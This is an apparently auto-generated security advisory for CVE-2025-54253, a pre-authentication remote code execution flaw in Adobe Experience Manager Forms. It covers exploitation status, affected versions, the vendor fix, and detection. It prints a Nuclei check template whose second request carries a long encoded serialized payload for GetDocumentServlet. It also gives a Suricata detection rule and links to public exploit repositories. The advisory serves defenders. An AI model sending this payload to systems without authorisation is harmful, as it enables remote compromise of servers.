CVE-2025-54253: Adobe exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Adobe Experience Manager versions 6.5.23 and earlier are affected by a Misconfiguration vulnerability that could result in arbitrary code execution. An attacker could leverage this vulnerability to bypass security mechanisms and execute code. Exploitation of this issue does not require user interaction and scope is changed.

Description quoted from the CVE record (assigned by adobe, published 2025-08-05).

Weakness: Incorrect Authorization (CWE-863)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2025-10-15
US federal deadline: 2025-11-05
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-09420, CNNVD-202508-352, CNVD-2025-21173, EUVD-2025-23647, GHSA-7mcc-8f7p-x6v7

VEDAS cluster: VEDAS:FLOWERFLARE

Exploit Observer links 14 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (14)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-54253.yaml
Code repository: https://github.com/adityabhatt3010/cve-2025-54253-inside-the-adobe-aem-forms-zero-day
Code repository: https://github.com/akujedanjedon/cve-2025-54253-exploit-demo
Code repository: https://github.com/ashwesker/ashwesker-cve-2025-54253
Code repository: https://github.com/b1ack4sh/blackash-cve-2025-54253
Code repository: https://github.com/barbaraeivyu/cve-2025-54253-e
Code repository: https://github.com/jm7knz/cve-2025-54253-exploit-demo
Code repository: https://github.com/netmatthew3771/cve-2025-54253
Code repository: https://github.com/shivshantp/cve-2025-54253-exploit-demo
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-54253.yaml
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-54253.yaml
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-54253.rules
and 2 more

Research and write-ups (2)

Research or write-up: https://firecompass.com/cve-2025-54253-pre-auth-rce-adobe-aem-forms-on-jee-critical-ognl-injection
Research or write-up: https://threatprotect.qualys.com/2025/08/06/adobe-experience-manager-forms-on-jee-zero-day-vulnerabilities-cve-2025-54253-cve-2025-54254

Vulnerability databases and vendor advisories (7)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-23647
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-7mcc-8f7p-x6v7
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-54253
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-54253
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202508-352
Vulnerability database or vendor advisory: https://www.cnvd.org.cn/flaw/show/CNVD-2025-21173
Vulnerability database or vendor advisory: https://www.tenable.com/cve/CVE-2025-54253

32 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.888
very likely to be attacked soon
VEDAS: 0.987
strong exploit evidence
On CISA KEV: Yes, since 2025-10-15
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

Product	Affected	Not affected
Adobe Adobe Experience Manager	up to and including 6.5.23	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: adobe experience_manager_forms, adobe_systems_inc. adobe_experience_manager_(aem)_forms_on_jee.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

https://helpx.adobe.com/security/products/aem-forms/apsb25-82.html (vendor-advisory)

How to detect it

Nuclei template (active check)

Aem - Remote Code Execution
Adobe Experience Manager versions 6.5.23 and earlier are affected by a Misconfiguration vulnerability that could result in arbitrary code execution. An attacker could leverage this vulnerability to bypass security mechanisms and execute code.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /lc/libs/livecycle/core/content/login.html, GET /FormServer/servlet/GetDocumentServlet?serDoc={{url_encode('H4sIAOP...); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2025-54253.yaml

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yaml

id: CVE-2025-54253

info:
  name: "Aem - Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Adobe Experience Manager versions 6.5.23 and earlier are affected by a Misconfiguration vulnerability that
    could result in arbitrary code execution. An attacker could leverage this vulnerability to bypass security
    mechanisms and execute code.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-54253&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=aem&match=exact
  classification:
    cve-id: CVE-2025-54253
  metadata:
    verified: false
  tags: cve,cve2025,aem,adobe,rce,kev,vkev
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /lc/libs/livecycle/core/content/login.html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(body, "<title>Adobe Experience Manager forms</title>")
        internal: true

  - raw:
      - |
        GET /FormServer/servlet/GetDocumentServlet?serDoc={{url_encode('H4sIAOPj/2gAA61WT0wcVRj/vV1g6Hah0JYCrbX0Dxao3WkLpdQlYgFbVqcWBdvDHjZvZ58wdXZmOvNGFg8ePHk1evFoYvRgeyAx2ngw8erNxJPGxMTEg4l6qAeTxj/fmxlYyp9CK5vsvDff+77f9/d939z+DY2Bj86b/A2eC6Vl56Z9y/UtufhyKELx/vdnPrs/9vZSGqkCGgLrTWEgY7pVj/tcur7EAUNJ6kpSn1ih52segBQBn3L9uRz3uDkvciRXdZ0gVxbcUQJBbpx2damfP3zn1+DYR1MppB7QcgtvgRlo9nzXE75clNgba7W5M6fPSN9y5kgjaRvbQJvp2rYwpRXvlzGDXKK3bIu6Bff//KD3rrN0IQXUPIk2N5ReKKdjvZYIFhrIrTQp6l+lqMbJjlwtsKWZkz6v5WZF1bO5FEGB1l03rn3t3P50MA2tgJaS5VSEI18Kq2XhF9BaIgEnsIUsEL1mYHeJh7UJmweBCCQGDFKjx2r0SI0eqdH90JFWVehTPJiXyoV8EZlSeVEK060oyXSxOF5EU8lUUBSv4qqARfB5A40lh1eFCm6DgfbSWl8fzG2dHucW/9LPC/1I04t/d3fMzf0Qh00lnuip4vjte51/NTXP/pSQm7795p8vv6LjcxjNII1jGi5o6NXwFENbIHyL29eFH1CiXi1MMrAXGFomKGuSO/I6t0PReKfnvXvv/vjHswxNo5ZjSdqk+/qvMzRMkNsMewzLEXFsZ1VUGBWKaxIsJ3B6T4gNct4KGPbNyLA8m8R/mi/aLq8wZAuOI/wkBQznjcXAjY3TvZgniCNyhVfmhAxObICSZ9gVJfY1168y+H0GFZ4ehI6+Lp+WI4XvEHic2MlrV/PFDbmrdp03tocuo6/PJFuuCnyKOxVb+HkVkuaKa4ZVqjWG04+knkTnYxxyf/z/G8OQeb5mCi+6gRpOMnz8aPHY0oKKrOqTs1cv1aygQKSoAe1MDK0ETtXB41jBoCWxZLi0E5GccUPfFJctVcbZpAJz6pZmkcFuDX0Mg49RsAzPbTcjy63nUjmgEjflMhLD/qhbWG7d+Oi2Xdwu8jLSSrUwHNnCF0rRqGknraC93uJeiY3UMEAxI8bknaGjr99Yx5bP4mmczuAUctRQvIVKM85QlxA1YTKc7Fs/a1ZjUGM0BfXTLLW1QYUxRG1rRnLz9avcSxrO4bob0wvUXYaGzw0PDZ8dGhkZPj8ySG4aD2WgxK8P3sOzoeFiBs/gGI4iRSt5Q/+DaEQTrZpq0WiOaFQ19MwSRaeV0do48AXySxFLCz2bIqKOVnpmYwbswQit1EGxn7iU8Jiai4q2VnAoEuyJDxNBtevAgeicoRNdJNFN+9hGBXsogS1E1A1gRyLYgfhwQ9gncJgk1O5JHCH1dQXN6F9x+gSdKK49nyDNjLvQ9579HOdvLEWCw5FTTHH0RPqPop3WDB2lcBxt2BWq6Uk09t3KaDukRluHhk4NXRq6tzvabv1i/T5avdK1M6Mtfdl1142y3i1HGUltp8kcZDi+DShyvX5NrpVv0kfYpk1iq4se1XF6kzpmm9bxuroZXVPHe6PzfdFz/6rsHlDZpS/ABrqOvrfAUFOZbq39B+MrHXcvCwAA')}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(body, 'InvocationTargetException')
          - status_code == 200
        condition: and

CVE-2025-54253.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-54253 Aem - Remote Code Execution. Add them to your Suricata rule set and reload.

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suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-54253 Aem - Remote Code Execution"; flow:established,to_server; http.uri; content:"GetDocumentServlet"; nocase; content:"')"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-54253; reference:url,https://www.exploit.observer/?keyword=CVE-2025-54253&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=aem&match=exact; sid:1011793; rev:1;)

CVE-2025-54253.rules on GitHub

References

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Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.